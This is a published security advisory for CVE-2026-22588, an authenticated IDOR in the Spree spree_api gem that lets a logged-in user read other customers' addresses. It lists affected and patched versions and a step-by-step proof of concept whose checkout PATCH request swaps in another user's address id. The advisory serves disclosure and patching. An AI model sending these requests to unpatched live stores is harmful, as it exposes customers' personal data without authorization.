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Authenticated Insecure Direct Object Reference (IDOR) via Order Modification

Moderate
damianlegawiec published GHSA-g268-72p7-9j6j Jan 8, 2026

Package

bundler spree_api (RubyGems)

Affected versions

<4.10.2, <5.0.7, <5.1.9, <5.2.5

Patched versions

4.10.2, 5.0.7, 5.1.9, 5.2.5

Description

Summary

An Authenticated Insecure Direct Object Reference (IDOR) vulnerability was identified that allows an authenticated user to retrieve other users’ address information by modifying an existing order.
By editing an order they legitimately own and manipulating address identifiers in the request, the backend server accepts and processes references to addresses belonging to other users, subsequently associating those addresses with the attacker’s order and returning them in the response.

Details

Affected Component(s)

  • Authenticated user order management
  • Address association logic
  • Order update endpoint(s)
    Affected Endpoint(s):
  • /api/v2/storefront/checkout

The application fails to enforce proper object-level authorization when updating an existing order. While the user is authenticated and authorized to modify their own order, the backend does not verify that the supplied address identifiers belong to the same authenticated user.

PoC

Preconditions

  • Valid authenticated user account

Step 1: Log-in using a valid user, in this case customer2@example.com
Step 2: Visualize current user’s addresses

Request
GET /account/addresses

The following screenshot shows customer2@example.com address.

User Address

Step 3: Initialize the Shopping Cart

Request
POST /api/v2/storefront/cart HTTP/1.1

From the response, extract the token marked in bold.

Step 4: Legitimate Order Edit Request

Using the obtained order token A1cram_6cFWpoj4V1yPkuQ1767113871701 perform an edit order request in order to add a custom billing address

Request
PATCH /api/v2/storefront/checkout

{
    "include": "billing_address",
    "order": {
      "email": "idor_test@example.com",
      "bill_address_attributes": {
        "firstname":"CTF","lastname":"Tester","address1":"123 Main St",
        "city":"Andorra la Vella","zipcode":"AD100","country_iso":"AD"
      },
      "ship_address_attributes": {
        "firstname":"CTF","lastname":"Tester","address1":"123 Main St",
        "city":"Andorra la Vella","zipcode":"AD100","country_iso":"AD"
      }
    }
  }

Step 5: Modify the order request to include the other user's address and trigger the IDOR.

In this request, the attacker modifies the request by substituting the address identifier with one belonging to another user, thereby rendering the original address identifier accessible to the attacker.

Request
PATCH /api/v2/storefront/checkout

{"include":"billing_address","order":**{"bill_address_attributes":{"id":1}}**}

As can be seen other user's address is displayed.

Impact

As a result, an attacker can:

  • Replace the address identifier with one belonging to another user
  • Cause the backend to associate and return another user’s address within the attacker’s order

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-22588

Weaknesses

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.